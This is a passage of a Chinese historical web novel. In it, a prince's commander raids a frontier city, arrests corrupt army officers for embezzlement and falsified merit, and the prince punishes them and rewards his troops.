江都王本就是来查永定大营的,之前那些事那些人确实是做下了,如今被查到罪证,也的确如将军所说的是贪心太过所致。将军说的话虽然难听,但也不是冤枉了那些人,他们也确实是贪婪过头,甚至罗营将还瞒着将军串联了一些人吞钱贪功。将军并非没有事先警告,他们来请求也觉得臊得慌,难以启齿。 可不能眼睁睁看着那些人被抄家问斩,这才厚着脸皮来了。 将军说的对,他们若再掺和下去,恐怕连自己都保不住。江都王他们可是正愁着没有理由和借口将他们一网打尽。至于那些被捉拿之人,怪只怪他们没有分寸,越过了线还叫人查出来了。他们如今是无能为力了,只能想办法看看日后能不能多照拂一下那些人的家人了。 远宁城哨楼上,日常望远的士卒正在四处张望,忽见一片白茫茫之中渐渐的出现了一些小黑点,黑点越来越多,越来越密集,逐渐形成了一大片,正整齐有序地朝着远宁城的方向而来。哨兵瞳孔一缩,目光定在了前头飘扬的旗帜上面,字眼也逐渐清晰可见,永定。 既然是己方的人马那便没有必要太慌张,可是永定大营一下子过来了这么大一支队伍,瞧着人数都上千了,城门楼这边并没有事先得到消息。哨兵匆匆下了哨楼,寻到城门校尉禀报此事。城门校尉一惊,当即拔腿上哨楼远望,视野之中一支兵马正朝着此处奔来。 因为认出了对方确实是永定大营的兵马,所以城门校尉并不是很慌。可是他事先并没有得到任何消息,对于这支突然到来的军队要如何应对一时之间也拿不定主意。以永定大营军队的行军速度,那支军队要不了多久就会抵达城门下,留给城门校尉思考的时间不算多。 没过多久,城门校尉便有了主意,当即派人前往远宁城镇城将军处禀报此事,自己则是留守在城门楼应对。 派去禀报的人离开都没有一炷香的时间,永定大营的军队已经奔到城门之下了。按照惯例,城门校尉站在城墙上大声喊话,“来将何人,所为何事?” 城门校尉的职责便是镇守城门以及筛查进出城门之人的身份,再就是收入城税。这样的职责性质决定了他每日能见到很多人,而远宁城前方就是永定大营,那些永定大营的将士休沐时又最喜欢往远宁城跑,城门校尉也因此认识了很多永定大营的军将们。 然而对于眼前这位领兵而来的年轻将领城门校尉确定自己是不认识的,不仅不认识,甚至一点印象都没有。不过他虽然不认识领兵前来的崔栋,可是与之随行的几个军将他却是认出来了,因而也更加确认了眼前这支军队确实为永定大营的人马。 崔栋手持令箭,“奉王命入城,速开城门。” 王命,在这江都的地界,这个“王”只能是江都王。 城门校尉顿时一凛,确认令箭为真,不敢多言,当即下令开城门放行。 大军进城,直扑目标所在之地。崔栋手里更是拿着一份名单,按照名单上的名字依次点兵点将,派人过去围宅抓人抄家。 远宁城之中突然间来了这么一支凶神恶煞的兵马,不仅封锁了街道禁止出入,还要大肆闯门入户拿人抄家。不明所以的人不免慌张,但他们很快发现只要自己老实呆着不动就会有事,当然,偶尔也有几个人被突然冲上来的士兵摁着抓走了。也不是没有抵抗的,大声叫骂士卒,喊着“自己是谁谁谁,敢动他保准没有好果子吃”。 这样做的结果只会更惨,当场被暴打一顿还是轻的。若是敢动兵器对抗抓捕的,格杀勿论,直接就被长矛给当街扎出好几个窟窿给戳死了,血流了一地,格外骇人,但震慑的效果极好,凡目睹的没有人敢有异动了。 远宁城守将就是这时候带人赶到的。他认出了被长矛扎死之人是谁,是他认识的一个永定大营功曹的小舅子。说是小舅子其实也不太对,因为这人的姐姐只是那功曹背着家中妻子偷偷置在远宁城里的外室,无名无分,自然这个“小舅子”也就不那么名正言顺了。不知为何,本来应该没有什么印象的事情,这会儿见着人死了反倒变得无比清晰了。 守将记得自己与那功曹喝过酒,就在功曹安置外室的宅院里,当时那外室就在一旁伺候,而旁边还有人,就是这“小舅子”,功曹让他帮忙看顾着些这两姐弟,这“小舅子”还给他敬过酒。 其实像这样的请吃他去过好多回了,有不少也是让他帮忙看顾的。酒他去吃了,人大多是不记得的,只有真正犯了事或者要办事求到他面前来,自报家门,他才能记得起。 守将记得那功曹出身很是不错,背后也是有靠山的,否则那时也请不来他吃酒。可如今军队进城抄家拿人,反抗者格杀勿论,这“小舅子”就这么死了,随随便便的就在街头被长矛扎死了。 收到消息的时候,他的左眼皮就直跳,这会儿看见此情此景,只觉得喉咙干涩,话都要讲不出来了,一股前所未有的恐慌笼罩了他。 要变天了。 守将后背直冒冷汗,不得不上前去迎那位从未见过的冷面恶煞的年轻将领,抱拳赔笑道:“某乃远宁城镇城将军,敢问将军所来为何事,某可否帮得上忙?” 崔栋懒得跟他废话,令箭一出,当即令人将守将以及他带来的人“请”到旁边候着,守将还想挣扎质问。 崔栋的目光冰冷如箭直直将守将定在原地,说出来的话更是让他从天灵盖凉到了脚底板,“本官奉王命办事,凡有阻碍,可格杀勿论。倘若汝想以项上人头试一试本官的剑锋,也未尝不可。” 也就是说,若有人敢阻拦,哪怕是他这个镇城将军也是可杀的。 守将彻底不敢动了,老老实实地待着了。 封锁街道,围宅堵门,破门而入,拿人抄家,永定大营的士卒做起这些事情来也丝毫不费劲。被破门而入的人家惊叫声不断,根本不知道发生了什么事情就被擒住了。这其中当然不乏叫嚣着“你知道我是谁吗”、“我的XXX是谁”之类的话。但没用,喊什么都没有用,越是嚣张抗捕就越是会被当场收拾一顿。 小喽啰让底下的兵将过去抓了,如罗营将这样的大鱼巢穴则是由崔栋亲自带着人马过去查抄。这次查永定大营,因为贪墨粮饷以及冒改军功两项大罪,牵扯进去两个营将,其余校尉、千夫长、百夫长乃至底下的什长以及功曹加起来五十余人。 这些之中不是所有人都有钱有能耐在远宁城置宅藏金的,越到底下分的钱越少,大头的基本集中在上面的营将和校尉手里,尤其是罗营将,这货是真的贪婪。凭这厮敢背着褚之邑越过三层的底线贪墨粮饷,就知道他的胆子和胃口有多大了。 这货在远宁城置下的宅院也是最宽敞最豪华的,光是需要派兵封住的门就有八个,别人顶多一个佰的兵马就能稳稳拿捏了,他家得派两个佰才行。罗营将安置在这宅院里的女人也不止一个,看到士卒从不同的屋子里抓出来一个、两个、三个、四个……拢共六个女人到他面前,崔栋人都要麻了。 110-120 第111章 了结 那姓罗的可真是贪啊, 也真是够会享受的。 六个女人,环肥燕瘦,十几岁到三十几岁的都囊括了, 眼下全部被兵卒拉到崔栋面前站好。这些女人毫无预兆地就被捉了出来,正慌的不行时看到崔栋这位年轻戴甲的将军,其中一个心思一转,嗓音都夹了起来,涂脂抹粉的脸上眼睛给抽了似的狂给崔栋抛媚眼, 还扭着身子想要往崔栋这边靠近, “这位将军, 突然前来可是有要事?妾住在这里很久了,只要将军开口, 妾可以知无不言,只怕将军可以垂怜一二, 这么大的阵仗,吓得人家心慌。” “垂怜什么垂怜, 站直了, 好好说话, 站在你们面前的可是都尉大人。再敢往前,就地格杀。”旁边的士卒拔刀出鞘,雪白的刀身闪出一片寒光吓坏了这个女人,不敢再靠近。士卒这才收刀,喝斥道:“都尉问什么就说什么,再敢叽叽歪歪的,别怪我们不客气。” 崔栋目光扫过这些女人,暂时没有什么需要问的,吩咐人将她们暂时先关押到一个屋子里叫人看守, 等先将罗营将的赃物搜罗齐全了,后面再叫人去查查这些女人的来历。看这些女人的状态,似乎也不全是自愿来攀附罗营将的,若是其中还有逼良为妾的事情,还就不能不管了。 “抄得怎么样了?”崔栋问道。 从破门而入、控制宅院里的所有人拢共花了不到一刻钟的时间,余下的便是抄家找赃物了。崔栋先往书房去全部翻找过一遍,找到了不少罗营将与商人勾结倒卖粮草物资的契书,还有一本账册,上面记载了罗营将倒卖以及替人办事收取好处的条目、数额。还别说,这一桩桩,一件件记得很是清晰明了,姓罗的还有几分干账房先生的本事。 陆陆续续有士卒来报说找到了什么东西,更是有士卒从庭中树下挖出了两箱金银——一箱千两白银,一箱黄金五百两,均在箱子里码得整整齐齐,黄澄澄、白花花,在这大冬天里差点要晃瞎人眼。 崔栋摸了两块金铤在手上感受一下这压手的重量,对着四周忙活的兵将们高声说道:“弟兄们都把眼睛放亮些,一文钱也别给它漏了。” “都尉放心,哪怕要把这地皮都翻过来也绝不让一文钱跑脱。”忙得满头大汗的兵将们闻声皆拍着胸脯保证道。 他们对于来抄家拿人这种事情无比的积极,尤其是抄罗营将那些人的巢穴这样大快人心的痛快之事。要知道罗营将那些人贪走的可都是本应该发放给他们的粮饷物资,本该到他们手里的钱变少了,吃的用的也是经过了那些人几轮克扣下来,更别提还有军功的事情,一切的一切最终成就了罗营将那些人的奢侈享受以及这满箱的金银财宝。 这些金银有多闪,他们对罗营将那些人就恨得有多咬牙切齿。 平日里他们之中的很多人就不得不屈从于罗营将等人的淫威之下,受到了不公也只是敢怒不敢言,只能将委屈苦楚生生往回咽。可没有人能在长期的不公和打压里保持欢笑的,打碎牙齿和血吞的感觉并不好受。他们有些人睡觉之前都要向漫天神佛虔诚祷告一番(主要是希望罗营将等人早日倒大霉)。如今得偿所愿,大王一来,罗营将等人悉数倒台,崔都尉奉大王之命过来调派人手前往远宁城抄家拿人时,想要前往的人不知凡几,他们能来的都是幸运儿,干起活来无比的尽心卖力,恨不得将地皮都翻过来查看过几遍。 抄家的事情由底下的兵将们去办,崔栋来更多的是镇场子,掌握大方向足以。 查抄出来的东西一箱一箱地搬往镇城将军衙署(这地方被临时征用了),崔栋还带来两个永定大营里的功曹对查抄的东西一样样地进行登记造册。一些与涉事军将有关系的人也被带到了衙署里进行看管或是关押。 接近黄昏时,查抄也基本进行完了,该抓的人也抓了,确定没有什么大的遗漏,崔栋便下令解除了对街道的封锁,但城门依旧禁闭,任何人不允许出城。 那些因为大批军队进城封锁而关门闭户的人家发现外面逐渐没了动静,探头出来见到兵卒都撤走了,一开始还不敢出来,但总有胆子大的尝试出门,发现没事之后,出门的人就逐渐变多了,街道也慢慢恢复了原有的模样。 一场惊吓过后,大家伙少不了要凑到一起交流谈论究竟是发生了什么事情。 酒楼茶馆这类地方聚集的人最多,一群人围在一起七嘴八舌地说着自己看到的、知道的,少不了要附上自己的猜测,又免不了产生争议,声音越来越大,吸引更多的人往这里聚拢。 “到底发生了什么大事?” “这么多的兵卒子进城,围了好多家你们不知道?这次的阵仗之大据说连镇城将军都被囚禁了,几条大街都被封锁了。” “他们是来抄家的。我家旁边就有一家,住着二赖子和她的姐姐,他们就被抄了。那些兵卒破门而入,但有反抗直接杀掉。一开始那二赖子还对人家嚷嚷呢,连刀都拔出来了,当场就被好几支长矛给扎死了。啧啧啧,你们别不信,我亲眼看到的,起码七八支长矛,直接扎穿了,肠子都差点掉出来。” 说这话的人怕听的人不信,当即就把当时的情形描述出来了,跟真的似的。而他家确实住在二赖子家边上,兵将破门的时候他耐不住好奇心扒门缝看来着,也的确看到自己二赖子拔刀反抗被长矛当场扎穿身体的场景。 “二赖子家是个什么情形你们都应该清楚。”这话这人说得有点隐晦且意味深长,“如今二赖子家被抄,人也死了,大抵是个什么原因估计也不难猜了。” 这“二赖子”在远宁城之中也算是一个名人,但此人有名归有名却不是什么好名声,看这诨名就知道此人德性如何了,没“发迹”之前做的都是一些偷鸡摸狗、调戏小媳妇的事,在这附近一代都是讨人嫌的存在。 这种人靠自己自然是不可能发迹的,他的“发迹”靠的是他有一个漂亮的姐姐。此人的姐姐不知何时搭上了永定大营里的一个功曹成为其外室,此后便是一人得道鸡犬升天。二赖子有了这么一个贵人姐夫之后,身体力行地诠释了什么叫做小人得志,将那些平日里打骂过他的人通通收拾了一遍,下手狠时更是打断了人家的一条腿。断腿的人家不是没有报过官,只是后面不了了之了,显然是他背后的靠山姐夫帮他摆平了。 尝到了一次甜头之后,二赖子变本加厉,连他“二赖子”的诨名都不许人叫,谁叫就打落谁一口牙,到后面欺男霸女的事情更是没少做。大家知道他嚣张,但却拿他没有办法,只能隐忍避开,少去招惹他。 今日永定大营的人过来抄家,抄的自然也不会是二赖子的家,明眼人都看得出来,这是奔着二赖子姐弟背后的功曹来的,很有可能远在永定大营里的功曹已经出事了。城里被抄的不止这一家,那些人家与二赖子这家都有一个共同点——与永定大营里的人有关系。想到这里也不难猜了,永定大营那边肯定已经出大事了。 “该,恶人自有天收,死了也是活该。”有人恶狠狠地啐了一口,想来平时没少受到二赖子这类人的毒害。 “这可不是天收的。”又有人颇显神秘地指了指上头,却不是指天,“前段时间大王可是来了边境巡视,定是查出了他们干的那些勾当,这才派兵把他们全抓了。” “我家有亲戚在永定大营里,这次就在派来抄家的队伍里。他可是说了,这次领头的将军是我们江都的都尉,手里拿着的是大王给的令箭。说明什么?说明这次军队进城抄家抓人就是大王下的令。” “大王英明,他一来就为我们除了这些为非作歹的害虫。” “诶诶诶,别说了,官兵来了。” 突然有人跑过来喊了一声,惊得这帮人马上作鸟兽散。很快有人发现这“官”并非他们以为的镇城将军衙署的官兵,而是永定大营的士卒,这些士兵也不是来抓人的。既然不是抓人的,那百姓们就没有必要怕了,也不着急跑了而是一个个驻足在街边看热闹。 只见十来个卒兵沿街敲锣,便敲边喊话,“崔都尉奉王命查处远宁城不法之事,上至守将,下至吏役,凡有作奸犯科、为非作歹者,皆可前往衙署检举。崔都尉将坐镇远宁城三日,凡有状告,一概受理。” 街边看热闹的百姓听到这话都惊了,一开始还以为自己听错了,纷纷扭头找身边人确认自己是不是耳朵出问题了。 “我没有听错吧?这话的意思是要为受了欺压的人申冤做主?” “没听错,没听错,他们说的就是这个意思。” “这事我得赶紧告诉我二舅去。” …… 如果说前面军队进城抄家拿人造成了远宁城全城震动,那士卒沿街喊话之后造成的就是轰动了。都尉亲自坐镇衙署受理状告之事,这在远宁城都可以算是开天辟地头一糟啊。但也正因为是前所未有之事,一些人难免迟疑,害怕最后告状不成反被报复。 镇城将军衙署里忙得是热火朝天,一直都有兵将抬着东西进进出出,负责等价造册的功曹都要忙不过来了,手下的笔几乎没怎么停过,额头上一直在冒汗。崔栋看到逐渐把衙署厅堂堆满的查抄而来的赃物,再一看功曹登记出来的账目,不得不感叹这些人贪钱的本事。 罗营将等人这些年贪污拿走的那些粮饷物资换算成的数字哪怕是他这个大将军之子、皇后外甥见了都要为之咋舌的地步。这些钱也不会为一个人或者几个人独有,而是层层分下去,按照这个潜规则,越是底下的人应该分的越是少才对。 但最后统计出来的账目显示并非如此,有几个什长、百夫长的抄家所得都超过了一些千夫长乃至校尉了。可想而知他们来钱的方式绝对不仅仅是分账,必定还有别的。而能让他们在短短几年间攒下如此庞巨的家财,那手段怎么可能会是什么正经的。 所以,还得继续查,查这个远宁城。 永定大营的后方就是远宁城,两者虽然隔着一段距离,可关系实在紧密。且不说那些军营里的兵将们得了空就喜欢往远宁城跑,就连部分远宁城的兵将都是从永定大营转过来的。永定大营里被罗营将等人搞出来一团污糟事,远宁城这里怕是也不怎么干净。 崔栋凝眉沉思,提笔给在永定大营里的百里漾写了一份奏报,正写着的时候有人来报说傅提刑求见。他反应了一会儿才想起来这个“傅提刑”说的是傅殷,连忙叫人领人进来。 “见过崔都尉。”傅殷一路过来绕行着穿过地上的这些赃物来到崔栋面前,拱手行礼道,“都尉今日辛苦了,今日的成果当真不斐。”他说的“成果不斐”意指这些抄家所得赃款赃物,如今全都摆放在厅堂之中,令人看了真是无限感慨,心中更有一股怒气在升腾。 “若非傅提刑这段日子明里暗里的辛苦调查,寻找罪证,我们也拿不下这些人。”崔栋说道。他是知道此次他们能够扫清这些人傅殷功不可没,若非傅殷多方努力寻找线索,他们也不能以此为突破口或是顺藤摸瓜去查到罗营将等人贪污受贿的罪证。 傅殷在此次的事件之中是功臣,又展现出了他出众的能力,待事情结束之后免不了要被论功行赏的。这样有才能的人崔栋待之相当的和颜悦色,但他有一个特点,他越是把你当自己人就越是随意,况且眼下正忙着,随意招呼傅殷坐,自己低头写奏报了。 傅殷看崔栋没说两句话就顾自忙去了,只好开口道:“下官一路过来见有士卒沿街敲锣喊话,说是衙署受理状告检举,百姓虽有意动,但更多的是犹疑。” “犹疑,担心有假?”崔栋一开始没有细想,一心二用,手上不停,偶尔抬头说道,“一开始不信,等真有人跑到衙署状告被受理之后,自然就会有更多的人相信了。” 傅殷道:“下官并非此意,而是今日城中方经历了一场动荡,各家各户正惶惶无措。都尉此举固然大善,但三日的时日还是短了些,一些有意之人恐怕难以做出决断。” 看今日被查抄的人家的数量就可以看出这远宁城里藏着多少污秽了。有污秽不堪的人必然少不了污秽不堪的事情,而遭受欺压迫害的也只是无辜百姓罢了。这种情况在远宁城存在很久了,很大原因之一是因为远宁城的特殊位置,毕竟山高皇帝远么。 如今大王腾出手来要肃清永定大营以及远宁城的污糟之气,相当于为这些受欺压的底层百姓驱散了一直压在头顶的黑云。但眼下只是刚开始,百姓们是看到了军队出动抄了一群人的家,但也只是抄家而已,人还活着,谁知道后面会怎么样,是放是杀? 人头没有落地前,谁能保证人一定会死。更别说这年头权贵还能以金相赎或减罪,他们若是此刻跑出去揭发状告那些人,若是那些人日后没死绝来报复怎么办?他们普通百姓可承受不起这样的后果。 说白了就是这些百姓还没有见到江都王肃清此地不正之风的决心,故而犹疑不决。而崔栋给出的时间就三日,等百姓们想清楚做出决定,人都走了。 崔栋此举一开始只是想更快更全面地查清罗营将等人以及他们的拥趸在远宁城干下的勾当,他是武官,对于这方面的事情考虑的不是很全面,傅殷这么一说他也明白过来了,“这事是我考虑不周了,但我不能在远宁城停留太久。” 他还要回去向百里漾复命,这些被抓捕的人要如何处置也要百里漾最终拿主意。没等傅殷再说什么,崔栋自己就想出主意来了,他笑道:“正好,此事正是为民申冤做主,这可是傅提刑你最擅长的。我回永定大营之后回向大王举荐你,由你代为处理远宁城后续之事。” 崔栋越想越觉得这是一个好主意。他很清楚待肃清永定大营之后,傅殷必然会受到百里漾的重用。如今的傅殷基本可以归为自己人的范畴,以他的能力,处理远宁城的后续之事并不是什么问题。崔栋相信百里漾也会同意他的举荐。到底是他们如今处在边境,可以放心用的人并不多,傅殷就正好。 崔栋拿定了注意就没有再与傅殷多说这方面的事情,眼下他正忙着写奏报给百里漾禀报情况,还要给眼前这堆赃物登记造册,还有抓捕的那些人是个怎么处置法,底下的人不敢拿主意,时不时就来一个人报于他,忙得他恨不得此时马上长出三头六臂来干活。 “傅提刑来得巧,正好可替我分担一二。”崔栋不由分说就将好几个竹简分到傅殷手上,转头又去忙自己的事情去了。 傅殷捧着竹简一开始有些无措,左右看了看各自陷入忙碌的人,再看看自己手臂上捧着的竹简,努力平复心潮的涌动,找了一张没有人坐的桌案坐下,打开竹简开始处理。 罗营将等人因为贪污受贿、冒改军功、结党营私等罪名被捉拿下狱,紧接着崔都尉拿了令箭带兵火速奔往远宁城拿人抄家,搜出了他们勾结商人倒卖粮草物资的罪证,用时短短不过两日,可谓是雷霆之势。 经过此事,边境也真正见识到了他们的大王是如何的手腕了得、动如雷霆了。 很显然,此后边境的天是要彻底变了,再也不是褚氏独大的局面了。因为罗营将等人的落马,边境上层的权力构成必然会迎来大换血,一些人忍不住盘算自己能有几分上位的可能,但这也只是少部分人的想法。更多的如下层的兵将以及百姓得知江都王巡视边境把一干贪官污吏一网打尽,无不拍手叫好的,盛赞大王英明的。 边境这么大的动静,消息很快传回来江都郡城那边,对于处在上层的权贵大族又是一次震荡。永定大营和远宁城之内可是有不少人与这边有关系的,不是自家出身的子弟就是门生故吏,要不然就是姻亲旧故。这次的风波里,有人被关入牢狱等待问罪想方设法传信回去让捞自己一把,有人则是想着能否再这次的风波里乘风而起。 一时之间,江都郡城的上层也起了不少风波,大家各有各的算计,无论是求情说项的,还是想走路子通关系更上一层的都把目光转向了王宫永延殿和范国相身上。大王对王妃有多爱重但凡有眼睛的都看在眼里,而范国相随大王就封至今一直深受大王倚重,为肱骨之臣。若是能够请动这二人为他们说话,效果只怕比求大王还要有效些。 可惜他们想的是很美好,颜漪与范国相怎么不知道他们的心思。颜漪身为王妃,处在王宫之中,寻常人难以相见,即便请见也会被拒绝。人都见不到,纵使巧舌如簧也无处施展。 至于范国相那里,他忙着准备冬日犒赏的事情,对于这些存了别的心思的人是一概不见。大王的谋算眼看就要成功收尾了,这些人这时候找上门来无非是各有算计。大王还没有传信回来,范国相不可能在这个关头去许诺这些人什么的,他只需要稳住江都的局势,做好他该做的,等待大王回来就是。 至于底下的那些人怎么慌怎么乱,那不是他们应得的么。事情做了,好处得了,被查出来才知道慌知道害怕,早干什么去了。 对于这样损江都而肥己身的人,范国相不仅不会求情,还会奏请加重处罚。何况这次风波里被扫进去的人,本身屁股就是歪的,他甚至不吝于出手落井下石。 对于百里漾第一次巡视边境就取得如此大的收获,范国相可谓是惊喜,这个结果比预期的要好上太多了。经此事后,边境军权收归大王之手,褚氏再受打击,日后再想做什么来掣肘大王就很难了。 范国相一面欢喜,一面又在思索着用何人填补处置了罗营将那些人之后空出来的位置。新上任之人必不能与褚氏等世家大族再有粘连,还得选任能力出众足以担当之人。这也是一件复杂的事情,他得好好想想,为大王分忧才是。 而远在永定大营的百里漾确实需要人为他分忧。看着崔栋传回来的奏报,他简直是要气笑了,那些查抄出来的东西折算成金银都超过了黄金万两,更别提还有他们依旧他们的附从在远宁城狗仗人势欺良压善、为非作歹的事情。远宁城守将虽然没有直接参与到罗营将等人贪污粮饷、冒改军功的事情之中,但他收受贿赂、对城中不法之事睁一只眼闭一只眼乃至包庇纵容是事实,此乃渎职之罪,继被软禁之后直接就被去掉盔甲下狱了。 真是乱糟糟的一团事,一群人,基本上都是拔出萝卜带出泥,抖一抖全是飞溅出来的污渍。要完全理清这些事情,可有得头大了。但头大也要去做,一点点慢慢来吧。不过有一点值得宽慰的是褚之邑那边,在百里漾他们抓了一连串的人之后也依然安静如鸡。 怎么说呢,也算是识相。 崔栋从远宁城回来之后,未免生乱留了一定数量的永定大营兵将在城中镇场子,也向百里漾举荐了傅殷处理远宁城后续之事,百里漾没有多想就允了。 傅殷一开始是范国相举荐之人,来历背景都是查过的,没有什么问题,如今又显露才能立下大功,用他是必然的事情,留着人在远宁城处理后续事宜也未免不可。 暂且将远宁城的事情放过一边,百里漾接下来便要想着如何处置罗营将那些人了。到了这个时候也不算很难处理,只是人多事杂罢了。 这次的事件牵扯进去两个营将、其余校尉、千夫长、百夫长、什长以及功曹若干,百里漾处置他们可不会手软。其中贪的最多、犯事最重自然是两个营将,百里漾给予了他们枭首示众、抄没家产、三族之内男丁免官去职的大礼包;其次是校尉、千夫长、功曹级别的,通通抄家问斩,家产充公;最后就是下面的百夫长、什长之流的,削职抄家,罚二十至四十军棍不等,打完之后还能不能有个全乎全靠自己的身体素质够不够硬了。 作为主将的褚之邑也要罚,不能换他还不能罚他么。永定大营里出了这么多的害群之马,他身为主将难辞其咎,百里漾让他留任原职但罚金百两,待日后将功折罪。 有罪之人处置完了,他们留下来的烂摊子还要处理,最麻烦的就是这一块了。罗营将那些人这几年不只是贪墨粮饷的问题,还有篡改军功的事情。这几年的账都要从头到尾查一遍,军功簿也得重新核查,有不实之处要使它更正过来。那些因为虚增的军功而获益上位之人要惩处,而那些被冒领了军功的人也要重新计算军功。 这无疑是一件相当浩大繁重的工作,但却不能不去做。永定大营的兵将大多都是底层平民出身,他们向上晋升的渠道唯有军功,然而想要获取军功往往是需要以命相搏的。他们拼死拼活得到的军功到头来却被篡改到别人的头上,成为别人加官进爵的基石,那他们那么拼了命地杀敌算什么? 这军功的账必须要算清楚,否则迟早寒了将士的心,这以后的仗还要不要打了。 重新核算军功之后,原来虚增的被撤销,相应获得晋升与奖赏也被撤销,相关人员受到程度不同的惩处;那些军功被少记或者不记的人则是重新补录,相应的奖赏也补上。如薛季平这样因伤退役的则是补发遣归银,那些已亡故的则是将追加的抚恤银发放到家人手中。 薛季平在伤退前累功至百夫长还差点就到千夫长了,这次百里漾他们能够如此迅速地查到罗营将等人的罪证他出了很大的一份力,亦是有功。不过他到底是不能再留在军营了,但他的功劳足以让他退役后转业,在江都境内的衙署任职并不是问题。 该杀的人杀了,该换的人也要换下,经此一事后的永定大营以及远宁城不能说是大换血,但也确实是因此空出不少位子来。换谁上去也是一个大问题,百里漾若不想边境过几年又重新恢复如今的状况,他只能更多地挑选忠于王命的能臣干将上去。一些职位可以以下补进,如营将这样的高位将领则必须要选任可靠之人。 营将的地位在永定大营之中仅次于褚之邑的定襄将军,非勇猛有胆识有谋略的将领不能担任。且不久的将来大衍很有可能与离渊有一仗要打,永定大营届时必然要出战,这营将的位子就很重要了。况且百里漾自己也存着想法将人培养出来以便将来能够换下褚之邑,这空出来的两个营将的人选就更要慎重了。 好在因为离渊人要过冬远遁,百里漾还有一点时间考虑。 等永定大营和远宁城的事情处理的差不多时,时间已经来到了十一月末。 “今日这一场真是痛快。” 刚下过雪不久的校场里,百里漾与崔栋过招,两人持刀好一通酣畅淋漓的对战,很是活动了一番筋骨,让这段时日因为忙于处理后续繁杂事务的两人感觉浑身都舒展开了。 打完之后两人各自回营帐擦去一身汗换了一身衣服,崔栋跑来百里漾的大帐喝茶。崔栋捧着热茶,看向外面逐渐纷扬的飞雪,感慨道:“这天是愈发冷了,眼下操练都要事先好一阵活动才能将筋骨舒展开。” 想了想,他又说道:“这么冷的天连熊都受不住回洞里冬眠了,离渊人还不知道缩哪里去过冬了。” “固然如此,哨防巡逻亦不可松懈。”百里漾觉得越是这种关头就越是要谨慎。 冬季严寒,天地沉寂,别说人不想动,就是豺狼虎豹都不会轻易出洞觅食,离渊人还得防着马牛羊被大批冻死,汗王之位的争夺还没有落下最终帷幕,这时候发动对大衍的进犯绝对不是明智之举。但也不能绝对的想当然,该防还得防着,万一就有谁突然灵机一动了呢。 这也是说不准的事情,凡事最怕的就是意外,最防不住的也是意外。 崔栋道:“放心,有我盯着,他们必不敢松懈。不过也不必时时盯着,军营里的兵将们一个个可有干劲了,白日里校场上时时都是一派热火朝天的景象,挥舞兵器都比以往更有劲了。负责操练的营将校尉跟我说偷懒缺勤的都没有了,负责操练的营将校尉跟我说偷懒缺勤的都少了很多。那两颗脑袋挂在辕门上也是他们应得的。” 他今日抽空去辕门周围转了一圈,顺道看看给挂在辕门示众的那两颗大好头颅。因为天气的寒冷让头颅的表面结了一层白色的冰霜,从断口处流出来的血也早结成了冰渣子,驻足的时候还看到路过的兵卒朝着头颅的方向啐了一口。 “据说每日路过那的士卒十个有九个都要啐一口再走。” 由此可见,罗营将那些人有多遭人恨了。 百里漾声音冰冷道:“这些人死不足惜。” 将士们杀敌浴血奋战,将生死置之度外,却被罗营将那等尸位素餐之人克扣了应得的饷银、物资,食不饱、衣不足,杀敌而无功,任是谁都会痛恨的。 一想到罗营将那些人依靠着挪用贪墨军资所得过着纸醉金迷的生活,百里漾恨得牙都痒痒,当即决定将罗营将两人悬首示众一月的期限延长,至于延长多久? “就到冬至的前三日吧。” “冬至啊。”崔栋并无异议,摸了摸脸上因为好几日没有刮剃而长出来的一层短短的青色胡茬,感叹道,“时间过得还真是快,没多久就是冬至了。犒赏、冬衣等物资应该准备上路了,将士们可以过一个好年了。” 百里漾:“不出意外的话,腊月中之前便能到。” 此前未免因为在永定大营和远宁城的大动作造成江都的震荡出现不可能的局面,百里漾传信给范国相令他稳住后方,勿使宵小生乱。范国相做的很好,江都那边虽然因为边境的变动而有些不安,有些人想要趁机搞事也被范国相按下去了。 随后范国相也令人传来奏报,其中提到了筹备犒赏、冬衣等物资之事,言道一切已准备妥当,不日便能令人押送运往边境。 因为强敌在侧且不时来犯的缘故,大衍自高皇帝起便定下了“北御离渊,以藩镇边”的国策。现有的诸侯国除了皇弟百里横的淄川国在西南,其余的都在北边且与离渊毗邻。诸侯国内皆设营置军御边,由各诸侯王统帅,以诸侯国之力养之。 众所周知,养军队是一件耗费巨大的事情。 江都富庶,每年地赋税收入刨除上交给朝廷的那一部分,剩下的部分有相当大的比例投入到了边境养军御边之上。百里漾知道北御离渊的重要性,自就藩之后就对此投入了相当大的重视,军资这一块更是不敢缩减,每年还要琢磨着哪里可以添上一点。 哪曾想,他在江都想着如何省点钱再将省下来的钱拨给边境御边的将士们,改善一下他们的生活,让他们能够无后顾之忧去卫国杀敌,结果永定军营里就出了罗营将他们这样的大耗子拼命地偷油喝,差点给百里漾气完了。 好在最后查抄罗营将等人的家产所得稍微安慰了一下百里漾的心灵,加上进入腊月,天气愈发寒冷,百里漾便加大了对永定军营的犒赏,以振奋军心,去去晦气。 永定大营上下最近皆是一派喜气洋洋,尤其是许多兵将们。大王一来直接将欺压他们的罗营将等人一网打尽,驱散了一直存在于他们头顶的乌云。不仅之前被克扣的饷银重新补发,军功也被重新核算了。这些事情都发生在冬至日之前,而且大王此前说过他们英勇抗敌,冬日时要犒赏他们。 两桩事合在一起简直是喜上加喜。 押运犒赏物资的队伍在腊月初一出发,腊月初五便抵达了永定大营。大批的物资拉到军营之中,那景象实在是蔚为壮观。 领到冬衣的士卒们摸了摸衣服厚实的质感,当场便欢喜地在身上比划起来。还饱饱地吃了一顿肉,那可是真正大块的肉,每个士卒都能吃到一块肥得流油的肉。以往顶多能够喝几口肉汤,如今能吃一整块,当真就是美滋滋。还有赏银,按照级别,每人都能领到一定数量的铜板。即便是火头兵也能领到三十个铜板。 看着被麻绳串成一串躺在手心里的铜板,士卒们是揣到了兜里又忍不住来来回回地拿出来看。一边吃着肉,一边数铜板,士卒们乐得牙花子都龇出来了。 “大王千岁,千岁,千岁!” 军营里喊声震天。 百里漾坐在大帐之内,听着这些声音,心情倍感高兴。他打开信,就着油灯看见了其上隽秀清逸的小字,“夫君顿首,妾在江都遥盼君一切安好……” 这是一封报平安的信,乃是颜漪亲笔所书。颜漪在信中说了一些江都的事情,说赖范国相勤恳用事江都一切安稳,王宫之中亦安好,问百里漾在边境是否安好以及何时归来。后面的问归信上没有明说,是百里漾从字里行间自己推测出来的。 他轻轻摩挲着信上的每一个字迹,一边想象着颜漪在写这封信时是如何的情态,但无论怎么想也只是空想而已。他来边境也有好几个月了,也以为这他们分离了好几个月。几月不见,不知道王妃有没有想他。他倒是、格外地思念王妃。 这封信是随押运的犒赏一道送过来的,还有一些颜漪捎给他的东西。 